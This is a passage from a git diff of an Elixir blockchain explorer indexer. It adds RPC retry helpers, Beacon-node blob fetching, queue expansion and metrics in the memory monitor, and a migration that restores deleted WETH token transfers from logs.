fails after all retries. + """ + @spec get_logs( + non_neg_integer() | binary(), + non_neg_integer() | binary(), + binary(), + [binary()] | [list()], + EthereumJSONRPC.json_rpc_named_arguments() + ) :: {:error, atom() | binary() | map()} | {:ok, any()} + @spec get_logs( + non_neg_integer() | binary(), + non_neg_integer() | binary(), + binary(), + [binary()] | [list()], + EthereumJSONRPC.json_rpc_named_arguments(), + integer() + ) :: {:error, atom() | binary() | map()} | {:ok, any()} + @spec get_logs( + non_neg_integer() | binary(), + non_neg_integer() | binary(), + binary(), + [binary()] | [list()], + EthereumJSONRPC.json_rpc_named_arguments(), + integer(), + non_neg_integer() + ) :: {:error, atom() | binary() | map()} | {:ok, any()} + def get_logs(from_block, to_block, address, topics, json_rpc_named_arguments, id \\ 0, retries \\ 3) do + processed_from_block = if is_integer(from_block), do: integer_to_quantity(from_block), else: from_block + processed_to_block = if is_integer(to_block), do: integer_to_quantity(to_block), else: to_block + + req = + request(%{ + id: id, + method: "eth_getLogs", + params: [ + %{ + :fromBlock => processed_from_block, + :toBlock => processed_to_block, + :address => address, + :topics => topics + } + ] + }) + + error_message = &"Cannot fetch logs for the block range #{from_block}..#{to_block}. Error: #{inspect(&1)}" + + repeated_call(&json_rpc/2, [req, json_rpc_named_arguments], error_message, retries) + end + + @doc """ + Prints a log of progress when handling something splitted to block chunks. + """ + @spec log_blocks_chunk_handling( + non_neg_integer(), + non_neg_integer(), + non_neg_integer(), + non_neg_integer(), + binary() | nil, + :L1 | :L2 + ) :: :ok + def log_blocks_chunk_handling(chunk_start, chunk_end, start_block, end_block, items_count, layer) do + is_start = is_nil(items_count) + + {type, found} = + if is_start do + {"Start", ""} + else + {"Finish", " Found #{items_count}."} + end + + target_range = + if chunk_start != start_block or chunk_end != end_block do + progress = + if is_start do + "" + else + percentage = + (chunk_end - start_block + 1) + |> Decimal.div(end_block - start_block + 1) + |> Decimal.mult(100) + |> Decimal.round(2) + |> Decimal.to_string() + + " Progress: #{percentage}%" + end + + " Target range: #{start_block}..#{end_block}.#{progress}" + else + "" + end + + if chunk_start == chunk_end do + Logger.info("#{type} handling #{layer} block ##{chunk_start}.#{found}#{target_range}") + else + Logger.info("#{type} handling #{layer} block range #{chunk_start}..#{chunk_end}.#{found}#{target_range}") + end + end + + @doc """ + Processes a large batch of contract calls by splitting them into smaller + chunks for efficiency and resiliency. + + This function takes a potentially large list of contract call requests, + divides them into manageable chunks, applies the provided reader function to + each chunk, and then consolidates the results. + + The chunking approach helps prevent timeouts that can occur when making too + many simultaneous RPC calls. + + ## Parameters + - `requests`: A list of `EthereumJSONRPC.Contract.call()` instances + representing contract calls to execute. + - `chunk_size`: The maximum number of contract calls to include in each chunk. + - `reader`: A function that takes a chunk of contract call requests and + returns `{responses, errors}` tuple. + + ## Returns + - A tuple `{responses, errors}` where: + - `responses`: A concatenated list of all response tuples `{:ok, result}` or + `{:error, reason}` from all chunks, maintaining the original + order. + - `errors`: A deduplicated list of all error messages encountered across all + chunks. + """ + @spec read_contracts_with_retries_by_chunks( + [EthereumJSONRPC.Contract.call()], + integer(), + ([EthereumJSONRPC.Contract.call()] -> + {[{:ok | :error, any()}], list()}) + ) :: + {[{:ok | :error, any()}], list()} + def read_contracts_with_retries_by_chunks(requests, chunk_size, reader) + when is_list(requests) and is_integer(chunk_size) and chunk_size > 0 do + {responses_lists, errors_lists} = + requests + |> Enum.chunk_every(chunk_size) + |> Enum.map(reader) + |> Enum.unzip() + + { + Enum.concat(responses_lists), + errors_lists |> Enum.concat() |> Enum.uniq() + } + end + + @doc """ + Retrieves decoded results of `eth_call` requests to contracts, with retry + logic for handling errors. + + The function attempts the specified number of retries, with a progressive + delay between each retry, for each `eth_call` request. If, after all + retries, some requests remain unsuccessful, it returns a list of unique + error messages encountered. + + ## Parameters + - `requests`: A list of `EthereumJSONRPC.Contract.call()` instances + describing the parameters for `eth_call`, including the + contract address and method selector. + - `abi`: A list of maps providing the ABI that describes the input + parameters and output format for the contract functions. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC + connection. + - `retries_left`: The number of retries allowed for any `eth_call` that + returns an error. + - `log_error?` (optional): A boolean indicating whether to log error + messages on retries. Defaults to `true`. + + ## Returns + - `{responses, errors}` where: + - `responses`: A list of tuples `{status, result}`, where `result` is the + decoded response from the corresponding `eth_call` if + `status` is `:ok`, or the error message if `status` is + `:error`. + - `errors`: A list of error messages, if any element in `responses` + contains `:error`. + """ + @spec read_contracts_with_retries( + [EthereumJSONRPC.Contract.call()], + [map()], + EthereumJSONRPC.json_rpc_named_arguments(), + integer(), + boolean() + ) :: {[{:ok | :error, any()}], list()} + def read_contracts_with_retries(requests, abi, json_rpc_named_arguments, retries_left, log_error? \\ true) + when is_list(requests) and is_list(abi) and is_integer(retries_left) do + do_read_contracts_with_retries(requests, abi, json_rpc_named_arguments, retries_left, 0, log_error?) + end + + defp do_read_contracts_with_retries(requests, abi, json_rpc_named_arguments, retries_left, retries_done, log_error?) do + responses = ContractReader.query_contracts(requests, abi, json_rpc_named_arguments: json_rpc_named_arguments) + + error_messages = + Enum.reduce(responses, [], fn {status, error_message}, acc -> + acc ++ + if status == :error do + [error_message] + else + [] + end + end) + + retries_left = retries_left - 1 + + cond do + error_messages == [] -> + {responses, []} + + retries_left <= 0 -> + if log_error?, do: Logger.error("#{List.first(error_messages)}.") + {responses, Enum.uniq(error_messages)} + + true -> + if log_error?, do: Logger.error("#{List.first(error_messages)}. Retrying...") + pause_before_retry(retries_done) + + do_read_contracts_with_retries( + requests, + abi, + json_rpc_named_arguments, + retries_left, + retries_done + 1, + log_error? + ) + end + end + + @doc """ + Executes a batch of RPC calls with retry logic for handling errors. + + This function performs a batch of RPC calls, retrying a specified number of times + with a progressive delay between each attempt up to a maximum (20 minutes). If, + after all retries, some calls remain unsuccessful, it returns the batch responses, + which include the results of successful calls or error descriptions. + + ## Parameters + - `requests`: A list of `Transport.request()` instances describing the RPC calls. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + - `error_message_generator`: A function that generates a string containing the error + message returned by the RPC call. + - `max_retries`: The number of retries allowed for any RPC call that returns an error. + + ## Returns + - `{:ok, responses}`: When all calls are successful, `responses` is a list of standard + JSON responses, each including `id` and `result` fields. + - `{:error, responses}`: When some calls fail, `responses` is a list containing either + standard JSON responses for successful calls (including `id` + and `result` fields) or errors, which may be in an unassured + format. + """ + @spec repeated_batch_rpc_call([Transport.request()], EthereumJSONRPC.json_rpc_named_arguments(), fun(), integer()) :: + {:error, any()} | {:ok, any()} + def repeated_batch_rpc_call(requests, json_rpc_named_arguments, error_message_generator, max_retries) + when is_list(requests) and is_function(error_message_generator) and is_integer(max_retries) do + do_repeated_batch_rpc_call(requests, json_rpc_named_arguments, error_message_generator, max_retries, 0) + end + + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + defp do_repeated_batch_rpc_call( + requests, + json_rpc_named_arguments, + error_message_generator, + retries_left, + retries_done + ) do + requests + |> json_rpc(json_rpc_named_arguments) + |> case do + {:ok, responses_list} = batch_responses -> + standardized_error = + Enum.reduce_while(responses_list, %{}, fn one_response, acc -> + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + case one_response do + %{error: error_msg_with_code} -> {:halt, error_msg_with_code} + _ -> {:cont, acc} + end + end) + + case standardized_error do + %{code: _, message: error_msg} -> {:error, error_msg, batch_responses} + _ -> {:ok, batch_responses, []} + end + + {:error, message} = err -> + {:error, message, err} + end + |> case do + {:ok, responses, _} -> + responses + + {:error, message, responses_or_error} -> + retries_left = retries_left - 1 + + if retries_left <= 0 do + Logger.error(error_message_generator.(message)) + responses_or_error + else + Logger.error("#{error_message_generator.(message)} Retrying...") + pause_before_retry(retries_done) + + do_repeated_batch_rpc_call( + requests, + json_rpc_named_arguments, + error_message_generator, + retries_left, + retries_done + 1 + ) + end + end + end + + @doc """ + Repeatedly executes a specified function with given arguments until it succeeds + or reaches the limit of retry attempts. It pauses between retries, with the + pause duration increasing progressively up to a maximum (20 minutes). + + The main intent of the function is to robustly handle RPC calls that may fail. + + ## Parameters + - `func`: The function to be called. + - `args`: List of arguments to pass to the function. + - `error_message`: A function that takes an error message and returns a log message. + - `retries_left`: The number of attempts left. + - `retries_done`: (optional) The number of attempts already made, defaults to 0. + + ## Returns + - `{:ok, result}` on success. + - `{:error, reason}` if retries are exhausted without success. + """ + @spec repeated_call(function(), list(), function(), non_neg_integer()) :: + {:ok, any()} | {:error, binary() | atom() | map()} + @spec repeated_call(function(), list(), function(), non_neg_integer(), non_neg_integer()) :: + {:ok, any()} | {:error, binary() | atom() | map()} + def repeated_call(func, args, error_message, retries_left, retries_done \\ 0) do + case apply(func, args) do + {:ok, _} = res -> + res + + {:error, message} = err -> + retries_left = retries_left - 1 + + if retries_left <= 0 do + Logger.error(error_message.(message)) + err + else + Logger.error("#{error_message.(message)} Retrying...") + pause_before_retry(retries_done) + repeated_call(func, args, error_message, retries_left, retries_done + 1) + end + end + end + + @doc """ + Fetches blocks info from the given list of events (logs). + Performs a specified number of retries (up to) if the first attempt returns error. + + ## Parameters + - `events`: The list of events to retrieve block numbers from. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + - `retries`: Number of retry attempts if the request fails. + - `transaction_details`: Whether to include transaction details into the resulting list of blocks. + + ## Returns + - The list of blocks. The list is empty if the HTTP response returns error. + """ + @spec get_blocks_by_events(list(), EthereumJSONRPC.json_rpc_named_arguments(), non_neg_integer(), boolean()) :: [ + %{String.t() => any()} + ] + def get_blocks_by_events(events, json_rpc_named_arguments, retries, transaction_details \\ false) do + events + |> Enum.reduce(%{}, fn event, acc -> + block_number = Map.get(event, :block_number, event["blockNumber"]) + Map.put(acc, block_number, 0) + end) + |> Stream.map(fn {block_number, _} -> %{number: block_number} end) + |> id_to_params() + |> Blocks.requests(&ByNumber.request(&1, transaction_details, false)) + |> Enum.chunk_every(@block_by_number_chunk_size) + |> Enum.reduce([], fn current_requests, results_acc -> + error_message = + &"Cannot fetch blocks with batch request. Error: #{inspect(&1)}. Request: #{inspect(current_requests)}" + + # credo:disable-for-lines:3 Credo.Check.Refactor.Nesting + results = + case repeated_call(&json_rpc/2, [current_requests, json_rpc_named_arguments], error_message, retries) do + {:ok, results} -> Enum.map(results, fn %{result: result} -> result end) + {:error, _} -> [] + end + + results_acc ++ results + end) + end + + @doc """ + Fetches block timestamp by its number using RPC request. + The number can be `:latest`. + Performs a specified number of retries (up to) if the first attempt returns error. + + ## Parameters + - `number`: Block number or `:latest` to fetch the latest block. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + - `retries`: Number of retry attempts if the request fails. + + ## Returns + - `{:ok, timestamp}` where `timestamp` is the block timestamp as a Unix timestamp. + - `{:error, reason}` if the request fails after all retries. + """ + @spec get_block_timestamp_by_number_or_tag(non_neg_integer() | :latest, list(), non_neg_integer()) :: + {:ok, non_neg_integer()} | {:error, any()} + def get_block_timestamp_by_number_or_tag(number, json_rpc_named_arguments, retries \\ @finite_retries_number) do + func = &get_block_timestamp_inner/2 + args = [number, json_rpc_named_arguments] + error_message = &"Cannot fetch block ##{number} or its timestamp. Error: #{inspect(&1)}" + repeated_call(func, args, error_message, retries) + end + + defp get_block_timestamp_inner(number, json_rpc_named_arguments) do + request = + if number == :latest do + ByTag.request(%{id: 0, tag: "latest"}) + else + ByNumber.request(%{id: 0, number: number}, false) + end + + result = json_rpc(request, json_rpc_named_arguments) + + with {:ok, block} <- result, + false <- is_nil(block), + timestamp <- Map.get(block, "timestamp"), + false <- is_nil(timestamp) do + {:ok, quantity_to_integer(timestamp)} + else + {:error, message} -> + {:error, message} + + true -> + {:error, "RPC returned nil."} + end + end + + @doc """ + Converts a log topic from Hash.Full representation to string one. + """ + @spec log_topic_to_string(any()) :: binary() | nil + def log_topic_to_string(topic) do + if is_binary(topic) or is_nil(topic) do + topic + else + Hash.to_string(topic) + end + end + + @doc """ + Pauses the process, incrementally increasing the sleep time up to a maximum of 20 minutes. + + ## Parameters + - `retries_done`: How many retries have already been done. + + ## Returns + - Nothing. + """ + @spec pause_before_retry(non_neg_integer()) :: :ok + def pause_before_retry(retries_done) do + :timer.sleep(min(3000 * Integer.pow(2, retries_done), 1_200_000)) + end + + @doc """ + Fetches the `latest` block number from L1. If the block number is cached in `Explorer.Chain.Cache.LatestL1BlockNumber`, + the cached value is used. The cached value is updated in `Indexer.Fetcher.RollupL1ReorgMonitor` module. + + ## Parameters + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection on L1. + + ## Returns + - The block number. + """ + @spec fetch_latest_l1_block_number(EthereumJSONRPC.json_rpc_named_arguments()) :: non_neg_integer() + def fetch_latest_l1_block_number(json_rpc_named_arguments) do + case LatestL1BlockNumber.get_block_number() do + nil -> + {:ok, latest} = + get_block_number_by_tag("latest", json_rpc_named_arguments, @infinite_retries_number) + + latest + + latest_from_cache -> + latest_from_cache + end + end + + @doc """ + Sends HTTP GET request to the given URL and returns JSON response. Makes max 10 attempts and then returns an error in case of failure. + There is a timeout between attempts (increasing from 3 seconds to 20 minutes max as the number of attempts increases). + + ## Parameters + - `url`: The URL which needs to be requested. + - `attempts_done`: The number of attempts done. Incremented by the function itself. + + ## Returns + - `{:ok, response}` where `response` is a map decoded from a JSON object. + - `{:error, reason}` in case of failure (after three unsuccessful attempts). + """ + @spec http_get_request(String.t(), non_neg_integer()) :: {:ok, map()} | {:error, any()} + def http_get_request(url, attempts_done \\ 0) do + recv_timeout = 5_000 + connect_timeout = 8_000 + client = Tesla.client([{Tesla.Middleware.Timeout, timeout: recv_timeout}], Tesla.Adapter.Mint) + + case Tesla.get(client, url, opts: [adapter: [timeout: recv_timeout, transport_opts: [timeout: connect_timeout]]]) do + {:ok, %{body: body, status: 200}} -> + Jason.decode(body) + + {:ok, %{body: body, status: _}} -> + http_get_request_error(url, body, attempts_done) + + {:error, error} -> + http_get_request_error(url, error, attempts_done) + end + end + + # Handles HTTP GET error and tries to re-call the `http_get_request` function after sleep. + # + # ## Parameters + # - `url`: The URL which needs to be requested. + # - `error`: The error description for logging purposes. + # - `attempts_done`: The number of attempts done. Incremented by the function itself. + # + # ## Returns + # - `{:ok, response}` tuple if the re-call was successful. + # - `{:error, reason}` if all attempts were failed. + @spec http_get_request_error(String.t(), any(), non_neg_integer()) :: {:ok, map()} | {:error, any()} + defp http_get_request_error(url, error, attempts_done) do + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "Error while sending request to #{url}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + Logger.configure(truncate: old_truncate) + + # retry to send the request + attempts_done = attempts_done + 1 + + if attempts_done < 10 do + # wait up to 20 minutes and then retry + :timer.sleep(min(3000 * Integer.pow(2, attempts_done - 1), 1_200_000)) + Logger.info("Retry to send the request to #{url} ...") + http_get_request(url, attempts_done) + else + {:error, "Error while sending request to #{url}"} + end + end + + @doc """ + Sends an HTTP request to Beacon Node to get EIP-4844 blob data by blob's versioned hash. + + ## Parameters + - `blob_hash`: The blob versioned hash in form of `0x` string. + - `l1_block_timestamp`: Timestamp of L1 block to convert it to beacon slot. + - `l1_chain_id`: ID of L1 chain to automatically define parameters for calculating beacon slot. + If ID is `nil` or unknown, the parameters are taken from the fallback INDEXER_BEACON_BLOB_FETCHER_REFERENCE_SLOT, + INDEXER_BEACON_BLOB_FETCHER_REFERENCE_TIMESTAMP, INDEXER_BEACON_BLOB_FETCHER_SLOT_DURATION env variables. + + ## Returns + - A binary with the blob data in case of success. + - `nil` in case of failure. + """ + @spec get_eip4844_blob_from_beacon_node(String.t(), DateTime.t(), non_neg_integer() | nil) :: binary() | nil + def get_eip4844_blob_from_beacon_node(blob_hash, l1_block_timestamp, l1_chain_id) do + beacon_config = + case l1_chain_id do + @chain_id_eth -> + %{ + reference_slot: @beacon_blob_fetcher_reference_slot_eth, + reference_timestamp: @beacon_blob_fetcher_reference_timestamp_eth, + slot_duration: @beacon_blob_fetcher_slot_duration + } + + @chain_id_sepolia -> + %{ + reference_slot: @beacon_blob_fetcher_reference_slot_sepolia, + reference_timestamp: @beacon_blob_fetcher_reference_timestamp_sepolia, + slot_duration: @beacon_blob_fetcher_slot_duration + } + + @chain_id_holesky -> + %{ + reference_slot: @beacon_blob_fetcher_reference_slot_holesky, + reference_timestamp: @beacon_blob_fetcher_reference_timestamp_holesky, + slot_duration: @beacon_blob_fetcher_slot_duration + } + + _ -> + :indexer + |> Application.get_env(BeaconBlobFetcher) + |> Keyword.take([:reference_slot, :reference_timestamp, :slot_duration]) + |> Enum.into(%{}) + end + + sidecars_url = + l1_block_timestamp + |> DateTime.to_unix() + |> BeaconBlobFetcher.timestamp_to_slot(beacon_config) + |> BeaconClient.blob_sidecars_url() + + {:ok, fetched_blobs} = http_get_request(sidecars_url) + + blobs = Map.get(fetched_blobs, "data", []) + + if Enum.empty?(blobs) do + raise "Empty data" + end + + blobs + |> Enum.find(fn b -> + b + |> Map.get("kzg_commitment", "0x") + |> hash_to_binary() + |> BeaconBlob.hash() + |> Hash.to_string() + |> Kernel.==(blob_hash) + end) + |> Map.get("blob") + |> hash_to_binary() + rescue + reason -> + Logger.warning("Cannot get the blob #{blob_hash} from the Beacon Node. Reason: #{inspect(reason)}") + nil + end + + @doc """ + Removes leading and trailing whitespaces and trailing slash (/) from URL string to prepare it + for concatenation with another part of URL. + + ## Parameters + - `url`: The source URL to be trimmed. + + ## Returns + - Clear URL without trailing slash and leading and trailing whitespaces. + """ + @spec trim_url(String.t()) :: String.t() + def trim_url(url) do + url + |> String.trim() + |> String.trim_trailing("/") + end + + @max_queue_size 5000 + @enqueue_busy_waiting_timeout 500 + @doc """ + Reduces the given `data` into an accumulator `acc` using the provided `reducer` function, + but only if the queue is not full. This function ensures that the processing respects + the queue's size constraints. + + If the queue is full (i.e., its size is greater than or equal to `@max_queue_size` or + its `maximum_size`), the function will pause for a duration defined by `@busy_waiting_timeout` + and retry until the queue has available space. + + ## Parameters + + - `data`: The data to be processed by the `reducer` function. + - `acc`: The accumulator that will be passed to the `reducer` function. + - `reducer`: A function that takes `data` and `acc` as arguments and returns the updated accumulator. + + ## Returns + + The result of applying the `reducer` function to the `data` and `acc`. + + ## Notes + + This function uses a recursive approach to wait for the queue to have available space. + Ensure that the `@busy_waiting_timeout` is set to an appropriate value to avoid excessive delays. + """ + @spec reduce_if_queue_is_not_full(any(), any(), (any(), any() -> any()), module()) :: any() + def reduce_if_queue_is_not_full(data, acc, reducer, module) do + bound_queue = GenServer.call(module, :state).bound_queue + + max_queue_size = Application.get_env(:indexer, module)[:max_queue_size] || @max_queue_size + + enqueue_busy_waiting_timeout = + Application.get_env(:indexer, module)[:enqueue_busy_waiting_timeout] || @enqueue_busy_waiting_timeout + + if bound_queue.size >= max_queue_size or (bound_queue.maximum_size && bound_queue.size >= bound_queue.maximum_size) do + :timer.sleep(enqueue_busy_waiting_timeout) + + reduce_if_queue_is_not_full(data, acc, reducer, module) + else + reducer.(data, acc) + end + end +end diff --git a/apps/indexer/lib/indexer/logger.ex b/apps/indexer/lib/indexer/logger.ex index a34bcd6e4767..ee762b1f4598 100644 --- a/apps/indexer/lib/indexer/logger.ex +++ b/apps/indexer/lib/indexer/logger.ex @@ -1,6 +1,6 @@ defmodule Indexer.Logger do @moduledoc """ - Helpers for `Logger`. + Helper for `Logger`. """ @doc """ diff --git a/apps/indexer/lib/indexer/memory/monitor.ex b/apps/indexer/lib/indexer/memory/monitor.ex index 40562a0f1330..81f7e6f0567a 100644 --- a/apps/indexer/lib/indexer/memory/monitor.ex +++ b/apps/indexer/lib/indexer/memory/monitor.ex @@ -7,20 +7,24 @@ defmodule Indexer.Memory.Monitor do `c:Indexer.Memory.Shrinkable.shrink/0`. """ - require Bitwise require Logger + import Bitwise import Indexer.Logger, only: [process: 1] alias Indexer.Memory.Shrinkable + alias Indexer.Prometheus.Instrumenter - defstruct limit: Application.get_env(:indexer, :memory_limit), + defstruct limit: 0, timer_interval: :timer.minutes(1), timer_reference: nil, - shrinkable_set: MapSet.new() + shrinkable_set: MapSet.new(), + shrunk?: false use GenServer + @expandable_memory_coefficient 0.4 + @doc """ Registers caller as `Indexer.Memory.Shrinkable`. """ @@ -43,7 +47,7 @@ defmodule Indexer.Memory.Monitor do @impl GenServer def init(options) when is_map(options) do - state = struct!(__MODULE__, options) + state = struct!(__MODULE__, Map.put_new(options, :limit, define_memory_limit())) {:ok, timer_reference} = :timer.send_interval(state.timer_interval, :check) {:ok, %__MODULE__{state | timer_reference: timer_reference}} @@ -62,17 +66,54 @@ defmodule Indexer.Memory.Monitor do end @impl GenServer - def handle_info(:check, %__MODULE__{limit: limit} = state) do + def handle_info(:check, %{limit: limit} = state) do total = :erlang.memory(:total) - if limit < total do - log_memory(%{limit: limit, total: total}) - shrink_or_log(state) - end + set_metrics(state) + + shrunk_state = + if limit < total do + log_memory(%{limit: limit, total: total}) + shrink_or_log(state) + %{state | shrunk?: true} + else + state + end + + final_state = + if state.shrunk? and total <= limit * @expandable_memory_coefficient do + log_expandable_memory(%{limit: limit, total: total}) + expand(state) + %{state | shrunk?: false} + else + shrunk_state + end flush(:check) - {:noreply, state} + {:noreply, final_state} + end + + defp define_memory_limit do + case Application.get_env(:indexer, :memory_limit) do + integer when is_integer(integer) -> integer + _not_set -> memory_limit_from_system() + end + end + + defp memory_limit_from_system do + default_limit = 1 <<< 30 + + percentage = + case Application.get_env(:explorer, :mode) do + :indexer -> 100 + _ -> Application.get_env(:indexer, :system_memory_percentage) + end + + case :memsup.get_system_memory_data()[:total_memory] do + nil -> default_limit + total_memory -> floor(total_memory * percentage / 100) + end end defp flush(message) do @@ -93,14 +134,27 @@ defmodule Indexer.Memory.Monitor do end defp log_memory(%{total: total, limit: limit}) do - Logger.warn(fn -> + Logger.warning(fn -> + [ + to_string(total), + " / ", + to_string(limit), + " bytes (", + to_string(div(100 * total, limit)), + "%) of memory limit used, shrinking queues" + ] + end) + end + + defp log_expandable_memory(%{total: total, limit: limit}) do + Logger.info(fn -> [ to_string(total), " / ", to_string(limit), " bytes (", to_string(div(100 * total, limit)), - "%) of memory limit used." + "%) of memory limit used, expanding queues" ] end) end @@ -126,7 +180,7 @@ defmodule Indexer.Memory.Monitor do end defp shrink([{pid, memory} | tail]) do - Logger.warn(fn -> + Logger.warning(fn -> [ "Worst memory usage (", to_string(memory), @@ -164,6 +218,64 @@ defmodule Indexer.Memory.Monitor do end end + defp expand(%__MODULE__{} = state) do + state + |> shrinkable_memory_pairs() + |> Enum.each(fn {pid, _memory} -> + Logger.info(fn -> ["Expanding queue ", process(pid)] end) + Shrinkable.expand(pid) + end) + end + + @megabytes_divisor 2 ** 20 + defp set_metrics(%__MODULE__{shrinkable_set: shrinkable_set}) do + total_memory = + Enum.reduce(Enum.to_list(shrinkable_set) ++ on_demand_fetchers(), 0, fn pid, acc -> + memory = memory(pid) / @megabytes_divisor + name = name(pid) + + Instrumenter.set_memory_consumed(name, memory) + + acc + memory + end) + + Instrumenter.set_memory_consumed(:total, total_memory) + end + + defp on_demand_fetchers do + [Indexer.Application, Indexer.Supervisor, Explorer.Supervisor] + |> Enum.reject(&is_nil(Process.whereis(&1))) + |> Enum.flat_map(fn supervisor -> + supervisor + |> Supervisor.which_children() + |> Enum.filter(fn {name, _, _, _} -> is_atom(name) and String.contains?(to_string(name), "OnDemand") end) + |> Enum.flat_map(fn + {_, pid, :supervisor, _} -> + pid + |> Supervisor.which_children() + |> Enum.filter(&(elem(&1, 2) == :worker)) + |> Enum.map(&elem(&1, 1)) + + {_, pid, _, _} -> + [pid] + end) + end) + end + + defp name(pid) do + case Process.info(pid, :registered_name) do + {:registered_name, name} when is_atom(name) -> + name + |> to_string() + |> String.split(".") + |> Enum.slice(-2, 2) + |> Enum.join(".") + + _ -> + nil + end + end + defp shrinkable_memory_pairs(%__MODULE__{shrinkable_set: shrinkable_set}) do shrinkable_set |> Enum.map(fn pid -> {pid, memory(pid)} end) diff --git a/apps/indexer/lib/indexer/memory/shrinkable.ex b/apps/indexer/lib/indexer/memory/shrinkable.ex index 71d5df38a7ad..274c72ace0db 100644 --- a/apps/indexer/lib/indexer/memory/shrinkable.ex +++ b/apps/indexer/lib/indexer/memory/shrinkable.ex @@ -22,4 +22,12 @@ defmodule Indexer.Memory.Shrinkable do def shrunk?(pid) when is_pid(pid) do GenServer.call(pid, :shrunk?) end + + @doc """ + Asks `pid` to expand its size + """ + @spec expand(pid()) :: :ok + def expand(pid) when is_pid(pid) do + GenServer.call(pid, :expand) + end end diff --git a/apps/indexer/lib/indexer/migrator/recovery_weth_token_transfers.ex b/apps/indexer/lib/indexer/migrator/recovery_weth_token_transfers.ex new file mode 100644 index 000000000000..de42f171cd3e --- /dev/null +++ b/apps/indexer/lib/indexer/migrator/recovery_weth_token_transfers.ex @@ -0,0 +1,199 @@ +defmodule Indexer.Migrator.RecoveryWETHTokenTransfers do + @moduledoc """ + Recovers WETH token transfers that were accidentally deleted from the database by previous version of Explorer.Migrator.SanitizeIncorrectWETHTokenTransfers. + This migration restores missing transfers by logs. + """ + + use GenServer, restart: :transient + require Logger + + import Ecto.Query + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Log, TokenTransfer} + alias Explorer.Migrator.MigrationStatus + alias Indexer.Transform.TokenTransfers + + @migration_name "recovery_weth_token_transfers" + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_) do + {:ok, %{}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, state) do + case MigrationStatus.fetch(migration_name()) do + %{status: "completed"} -> + {:stop, :normal, state} + + migration_status -> + max_block_number = Chain.fetch_max_block_number() + min_block_number = Chain.fetch_min_block_number() + + state = + (migration_status && migration_status.meta) || + %{ + "block_number" => max_block_number, + "max_block_number" => max_block_number, + "min_block_number" => min_block_number, + "transaction_hash" => nil, + "percentage" => 0 + } + + if is_nil(migration_status) do + MigrationStatus.set_status(migration_name(), "started") + MigrationStatus.update_meta(@migration_name, state) + end + + schedule_batch_migration(0) + {:noreply, state} + end + end + + @impl true + def handle_info(:migrate_batch, state) do + case last_unprocessed_identifiers(state) do + [] -> + if state["block_number"] == state["min_block_number"] do + MigrationStatus.set_status(migration_name(), "completed") + MigrationStatus.set_meta(migration_name(), nil) + + {:stop, :normal, state} + else + new_state = %{ + state + | "block_number" => max(state["min_block_number"], state["block_number"] - blocks_batch_size()), + "transaction_hash" => nil, + "percentage" => + (state["max_block_number"] - state["block_number"]) / + (state["max_block_number"] - state["min_block_number"]) * 100 + } + + schedule_batch_migration() + + {:noreply, new_state} + end + + identifiers -> + last_transaction_hash = List.last(identifiers) + + identifiers + |> Enum.uniq() + |> Enum.chunk_every(batch_size()) + |> Enum.map(&run_task/1) + |> Task.await_many(:infinity) + + new_state = %{state | "transaction_hash" => last_transaction_hash} + MigrationStatus.update_meta(migration_name(), new_state) + + schedule_batch_migration() + + {:noreply, new_state} + end + end + + defp last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + state["block_number"] + |> unprocessed_data_query(state["transaction_hash"]) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + end + + defp unprocessed_data_query(max_block_number, transaction_hash) do + base_query = from(log in Log, as: :log) + + base_query + |> where(^Log.first_topic_is_deposit_or_withdrawal_signature()) + |> apply_block_number_condition(max_block_number) + |> apply_transaction_hash_condition(transaction_hash) + |> group_by([log], [log.transaction_hash, log.address_hash, log.first_topic, log.second_topic]) + |> having([log], count(log) > 1) + |> order_by([log], asc: log.transaction_hash) + |> select([log], log.transaction_hash) + end + + defp apply_block_number_condition(query, 0), do: query |> where([log], log.block_number == 0) + + defp apply_block_number_condition(query, max_block_number) do + min_block_number = max(0, max_block_number - blocks_batch_size()) + + query + |> where([log], log.block_number <= ^max_block_number and log.block_number > ^min_block_number) + end + + defp apply_transaction_hash_condition(query, nil), do: query + + defp apply_transaction_hash_condition(query, transaction_hash), + do: + query + |> where([log], log.transaction_hash > ^transaction_hash) + + @spec run_task([any()]) :: any() + defp run_task(batch), do: Task.async(fn -> update_batch(batch) end) + + defp update_batch(batch) do + base_query = from(log in Log, as: :log) + + %{token_transfers: token_transfers} = + base_query + |> where([log], log.transaction_hash in ^batch) + |> join(:left, [log], tt in TokenTransfer, + on: + log.transaction_hash == tt.transaction_hash and log.index == tt.log_index and log.block_hash == tt.block_hash + ) + |> where([log, tt], is_nil(tt)) + |> where(^Log.first_topic_is_deposit_or_withdrawal_signature()) + |> Repo.all(timeout: :infinity) + |> Enum.map(fn log -> + %Log{ + log + | first_topic: to_string(log.first_topic), + second_topic: to_string(log.second_topic), + data: to_string(log.data) + } + end) + |> TokenTransfers.parse(true) + + Chain.import(%{ + token_transfers: %{params: token_transfers}, + timeout: :infinity + }) + + if high_verbosity?() do + token_transfers + |> Enum.group_by(& &1.transaction_hash) + |> Enum.each(fn {transaction_hash, token_transfers} -> + Logger.info("Recovered #{length(token_transfers)} token transfers for transaction #{transaction_hash}") + end) + end + end + + defp schedule_batch_migration(timeout \\ nil) do + Process.send_after(self(), :migrate_batch, timeout || Application.get_env(:indexer, __MODULE__)[:timeout]) + end + + def migration_name, do: @migration_name + + defp batch_size do + Application.get_env(:indexer, __MODULE__)[:batch_size] + end + + defp blocks_batch_size do + Application.get_env(:indexer, __MODULE__)[:blocks_batch_size] + end + + defp concurrency do + Application.get_env(:indexer, __MODULE__)[:concurrency] + end + + defp high_verbosity? do + Application.get_env(:indexer, __MODULE__)[:high_verbosity] + end +end diff --git a/apps/indexer/lib/indexer/nft_media_handler/backfiller.ex b/apps/indexer/lib/indexer/nft_media_handler/backfiller.ex new file mode 100644 index 